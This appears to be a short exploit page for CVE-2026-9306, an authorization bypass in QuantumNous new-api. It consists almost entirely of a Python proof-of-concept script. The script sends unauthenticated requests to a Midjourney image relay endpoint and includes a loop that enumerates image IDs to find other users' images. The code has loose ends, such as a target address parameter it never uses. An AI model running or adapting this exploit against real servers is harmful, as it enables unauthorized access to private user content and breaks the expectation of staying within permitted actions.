CVE-2026-9306 QuantumNous new-api 授权绕过漏洞

import requests # CVE-2026-9306 PoC - QuantumNous new-api Authorization Bypass # Target: QuantumNous new-api <= 0.12.1 # Vulnerability: Unauthenticated access to Midjourney images via RelayMidjourneyImage/GetByOnlyMJId TARGET_URL = "http://target-server/api/relay/midjourney/image" def exploit_cve_2026_9306(target_ip, mj_id): """ Exploit authorization bypass in GetByOnlyMJId function Args: target_ip: Target server IP address mj_id: Valid Midjourney ID (can be enumerated or obtained from logs) Returns: Response content if successful, None otherwise """ # Construct the request without authentication endpoint = f"{TARGET_URL}/GetByOnlyMJId" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Payload to exploit the authorization bypass payload = { "mjId": mj_id, "onlyMJId": True } try: # Send request without authentication token response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[!] Successfully accessed image with MJ ID: {mj_id}") print(f"[*] Response: {response.text[:500]}") return response.json() else: print(f"[*] Status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def enumerate_mj_ids(target_ip, start_id=1000, end_id=2000): """ Enumerate valid MJ IDs to find accessible images """ print(f"[*] Enumerating MJ IDs from {start_id} to {end_id}...") for mj_id in range(start_id, end_id): result = exploit_cve_2026_9306(target_ip, str(mj_id)) if result: print(f"[+] Found accessible image: MJ ID {mj_id}") if __name__ == "__main__": # Example usage target = "192.168.1.100" mj_id = "12345" # Replace with actual MJ ID print("CVE-2026-9306 Exploitation") print("=" * 50) exploit_cve_2026_9306(target, mj_id)